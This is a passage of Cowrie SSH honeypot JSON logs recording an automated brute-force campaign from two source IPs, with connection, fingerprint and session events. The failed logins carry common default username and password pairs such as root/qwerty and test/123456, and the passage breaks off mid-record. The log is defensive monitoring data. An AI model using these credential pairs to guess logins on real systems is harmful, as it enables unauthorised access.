{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:01:40.733011Z","src_ip":"192.109.200.78","session":"d45e82f1433c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts","password":"ts","message":"login attempt [ts/ts] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:01:40.982743Z","src_ip":"192.109.200.78","session":"d45e82f1433c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:01:42.067480Z","src_ip":"192.109.200.78","session":"d45e82f1433c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":46628,"dst_ip":"159.203.135.109","dst_port":22,"session":"84ed00c87156","protocol":"ssh","message":"New connection: 27.71.230.31:46628 (159.203.135.109:22) [session: 84ed00c87156]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:01:43.448499Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:01:43.475495Z","src_ip":"27.71.230.31","session":"84ed00c87156","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":47258,"dst_ip":"10.17.0.5","dst_port":22,"session":"d7b75127d214","protocol":"ssh","message":"New connection: 192.109.200.78:47258 (10.17.0.5:22) [session: d7b75127d214]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:01:44.060818Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:01:44.065204Z","src_ip":"192.109.200.78","session":"d7b75127d214","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:01:44.145668Z","src_ip":"192.109.200.78","session":"d7b75127d214","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"123456","message":"login attempt [test/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:01:44.388821Z","src_ip":"192.109.200.78","session":"d7b75127d214","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:01:45.193881Z","src_ip":"27.71.230.31","session":"84ed00c87156","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:01:45.474172Z","src_ip":"192.109.200.78","session":"d7b75127d214","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":47282,"dst_ip":"10.17.0.5","dst_port":22,"session":"43ef72511e13","protocol":"ssh","message":"New connection: 192.109.200.78:47282 (10.17.0.5:22) [session: 43ef72511e13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:01:47.479646Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:01:47.484138Z","src_ip":"192.109.200.78","session":"43ef72511e13","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:01:47.565826Z","src_ip":"192.109.200.78","session":"43ef72511e13","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456+","message":"login attempt [root/Aa123456+] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:01:47.925237Z","src_ip":"192.109.200.78","session":"43ef72511e13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:01:49.008649Z","src_ip":"192.109.200.78","session":"43ef72511e13","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":47298,"dst_ip":"10.17.0.5","dst_port":22,"session":"b5fd454abe1d","protocol":"ssh","message":"New connection: 192.109.200.78:47298 (10.17.0.5:22) [session: b5fd454abe1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:01:51.082230Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:01:51.085213Z","src_ip":"192.109.200.78","session":"b5fd454abe1d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:01:51.168233Z","src_ip":"192.109.200.78","session":"b5fd454abe1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1","message":"login attempt [user/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:01:51.414595Z","src_ip":"192.109.200.78","session":"b5fd454abe1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:01:52.499187Z","src_ip":"192.109.200.78","session":"b5fd454abe1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin2016","message":"login attempt [root/admin2016] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:01:54.363054Z","src_ip":"27.71.230.31","session":"84ed00c87156","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":45276,"dst_ip":"10.17.0.5","dst_port":22,"session":"a1e501d7c89d","protocol":"ssh","message":"New connection: 192.109.200.78:45276 (10.17.0.5:22) [session: a1e501d7c89d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:01:54.491338Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:01:54.496102Z","src_ip":"192.109.200.78","session":"a1e501d7c89d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:01:54.583559Z","src_ip":"192.109.200.78","session":"a1e501d7c89d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty","message":"login attempt [root/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:01:54.838448Z","src_ip":"192.109.200.78","session":"a1e501d7c89d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:01:56.089847Z","src_ip":"192.109.200.78","session":"a1e501d7c89d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":45286,"dst_ip":"10.17.0.5","dst_port":22,"session":"b12659dbded7","protocol":"ssh","message":"New connection: 192.109.200.78:45286 (10.17.0.5:22) [session: b12659dbded7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:01:57.913956Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:01:57.921788Z","src_ip":"192.109.200.78","session":"b12659dbded7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:01:58.003314Z","src_ip":"192.109.200.78","session":"b12659dbded7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vncuser","password":"vncuser","message":"login attempt [vncuser/vncuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:01:58.248250Z","src_ip":"192.109.200.78","session":"b12659dbded7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.5","message":"Connection lost after 15.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:01:58.918205Z","src_ip":"27.71.230.31","session":"84ed00c87156","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:01:59.331580Z","src_ip":"192.109.200.78","session":"b12659dbded7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":45302,"dst_ip":"10.17.0.5","dst_port":22,"session":"00d845147fa0","protocol":"ssh","message":"New connection: 192.109.200.78:45302 (10.17.0.5:22) [session: 00d845147fa0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:02:01.345957Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:02:01.480116Z","src_ip":"192.109.200.78","session":"00d845147fa0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:02:01.485193Z","src_ip":"192.109.200.78","session":"00d845147fa0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"123456789","message":"login attempt [user1/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:02:01.898501Z","src_ip":"192.109.200.78","session":"00d845147fa0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:02:02.986138Z","src_ip":"192.109.200.78","session":"00d845147fa0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":33848,"dst_ip":"10.17.0.5","dst_port":22,"session":"22622a832772","protocol":"ssh","message":"New connection: 192.109.200.78:33848 (10.17.0.5:22) [session: 22622a832772]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:02:05.014127Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:02:05.020663Z","src_ip":"192.109.200.78","session":"22622a832772","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 